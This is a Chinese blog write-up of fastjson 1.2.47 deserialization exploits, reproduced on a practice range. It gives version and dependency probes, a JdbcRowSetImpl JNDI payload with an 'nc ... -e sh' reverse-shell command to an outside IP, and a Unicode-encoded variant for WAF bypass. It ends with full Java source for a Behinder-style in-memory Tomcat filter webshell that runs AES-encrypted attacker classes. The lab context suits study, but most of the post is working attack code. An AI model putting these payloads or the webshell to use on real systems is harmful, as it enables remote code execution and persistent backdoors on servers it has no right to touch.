fastjson-漏洞复现

前言

借助FastJsonParty靶场进行一下fastjson一些版本漏洞的复现

1.2.47-jndi(出网)

我使用自己的服务器搭建的靶场,访问登陆页面之后抓包登录数据, 传入的数据为json格式
123

尝试让其进行报错,比如说删除一个},"
报错数据

HTTP/1.1 500 
Content-Type: application/json
Date: Thu, 28 Mar 2024 03:48:20 GMT
Connection: close
Content-Length: 160

{"timestamp":"2024-03-28T03:48:20.909+0000","status":500,"error":"Internal Server Error","message":"syntax error, position at 0, name password","path":"/login"}

标准的fastjson错误提示,确定后端使用了fastjson。
使用dnslog测试一下

{
  "@type":"java.net.Inet4Address",
  "val":"nf8mm5.dnslog.cn"
}

12
123

也收到了请求,说明存在漏洞。此时我们还需要知道存在的漏洞版本
开始探测fastjson的精确版本

{
  "@type": "java.lang.AutoCloseable"

通过报错信息可以看出版本为1.2.47
123
利用mappings缓存机制,JdbcRowSetImpl打jndi,但前提是需要机器出网。关于这种方式探测fastjosn版本,条件是需要response中会回显报错信息,但实际环境可能存在不回显的情况,那就需要利用其他手段了,如dnslog、ddos等间接判断。
使用jndi注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all。可以使用nc反弹shell。
将该工具上传到kali,开启服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 123.60.157.194 -C "nc 123.60.157.194 9999 -e sh"

123
然后服务器再监听一个端口9999

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://123.60.157.194:1389/2kgqlp",
        "autoCommit":true
    }
}

send之后就会接收到shell
456
在复现过程中我使用了windows进行开启服务,一直出现以下报错:
456
原因就是1389已经被占用,尝试了几次更换kali之后就可以正常打了。

1247-jndi-waf

检测是否是fastjson的方法

1、去掉}"

{"username":"ad","password":"ad"

2、dnslog探测

{
  "@type":"java.net.Inet4Address",
  "val":"nf8mm5.dnslog.cn"
}

检测fastjson精确版本

{
  "@type":"java.lang.AutoCloseable"

123
从报错信息看出来被拦截了,根据项目文件可以知道过滤的字符:

本身
fastjson本身是默认识别并编码hex和Unicode编码的,所以利用这个特性进行绕过。
将数据进行Unicode编码

{
  "\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0041\u0075\u0074\u006F\u0043\u006C\u006F\u0073\u0065\u0061\u0062\u006C\u0065"

得到了具体版本:
123

然后按照上面的payload,只需进行一下Unicode编码即可

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://123.60.157.194:1389/qz9noe",
        "autoCommit":true
    }
}
{
    "\u0061":{
        "\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073",
        "\u0076\u0061\u006C":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"
    },
    "\u0062":{
        "\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C",
        "\u0064\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u004E\u0061\u006D\u0065":"\u006C\u0064\u0061\u0070\u003A\u002F\u002F\u0031\u0032\u0033\u002E\u0036\u0030\u002E\u0031\u0035\u0037\u002E\u0031\u0039\u0034\u003A\u0031\u0033\u0038\u0039\u002F\u0071\u007A\u0039\u006E\u006F\u0065",
        "\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":true
    }
}

攻击机开启监听端口

root@n0rt6:~# nc -lnvp 9999

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar开启服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 123.60.157.194 -C “nc 123.60.157.194 9999 -e sh”

123

1247-waf-c3p0(不出网)

检测是否是fastjson
dnslog测试
123
探测fastjson版本
123
爆出的版本为1.2.47,在这个版本下fastjson存在mappings缓存通杀绕过,利用方式为jndi

jndi利用条件

1、环境一般出网
2、收到JDK版本限制,JDK8u191后受到trusturlcodebase限制了远程加载,当然还有绕过方法。

这台靶机不出网,因此JNDI注入不合适

13

下一步探测存在的依赖:利用Character转换报错可以判断存在哪种依赖

POST /login HTTP/1.1
Host: 123.60.157.194
Content-Length: 127
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://123.60.157.194
Referer: http://123.60.157.194/tologin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"x":{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"org.springframework.web.bind.annotation.RequestMapping"}}}
HTTP/1.1 500 
Server: nginx/1.15.12
Date: Thu, 28 Mar 2024 15:37:12 GMT
Content-Type: application/json
Connection: close
Content-Length: 212

{"timestamp":"2024-03-28T15:37:12.688+0000","status":500,"error":"Internal Server Error","message":"can not cast to char, value : interface org.springframework.web.bind.annotation.RequestMapping","path":"/login"}

RequestMapping本身为SpringBoot下的类,当存在该类时会爆出类型转换错误,说明为SpingBoot项目。
否则无显示:
123
那么接下来就尝试fastjson利用链poc所需要的依赖类
132

下面真的不会了查看资料进行复现吧🥱
更改一个冰蝎的内存马编译为FRain.java文件编译为class文件。

//FRain.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;

public class IceShell extends AbstractTranslet implements Filter {
    private final String pa = "3ad2fddfe8bad8e6";

    public IceShell() {
    }

    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        Map<String, Object> pageContext = new HashMap();
        pageContext.put("session", session);
        pageContext.put("request", request);
        pageContext.put("response", response);
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        if (request.getMethod().equals("POST")) {
            Class Lclass;
            if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            }

            filterChain.doFilter(servletRequest, servletResponse);
        }

    }

    public void destroy() {
    }

    public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {
        byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");

        try {
            Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            define.setAccessible(true);
            Class uclass = null;

            try {
                uclass = cl.loadClass("U");
            } catch (ClassNotFoundException var18) {
                uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length);
            }

            Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class);
            constructor.setAccessible(true);
            Object u = constructor.newInstance(this.getClass().getClassLoader());
            Method Um = uclass.getDeclaredMethod("g", byte[].class);
            Um.setAccessible(true);
            String k = "3ad2fddfe8bad8e6";
            session.setAttribute("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
            byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine()));
            Class eclass = (Class)Um.invoke(u, eClassBytes);
            Object a = eclass.newInstance();
            Method b = eclass.getDeclaredMethod("equals", Object.class);
            b.setAccessible(true);
            b.invoke(a, pageContext);
        } catch (Exception var19) {
        }

    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    static {
        try {
            String name = "AutomneGreet";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map)Configs.get(standardContext);
            if (filterConfigs.get("AutomneGreet") == null) {
                Filter filter = new IceShell();
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName("AutomneGreet");
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/shell");
                filterMap.setFilterName("AutomneGreet");
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);
                filterConfigs.put("AutomneGreet", filterConfig);
            }
        } catch (Exception var10) {
        }

    }
}
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信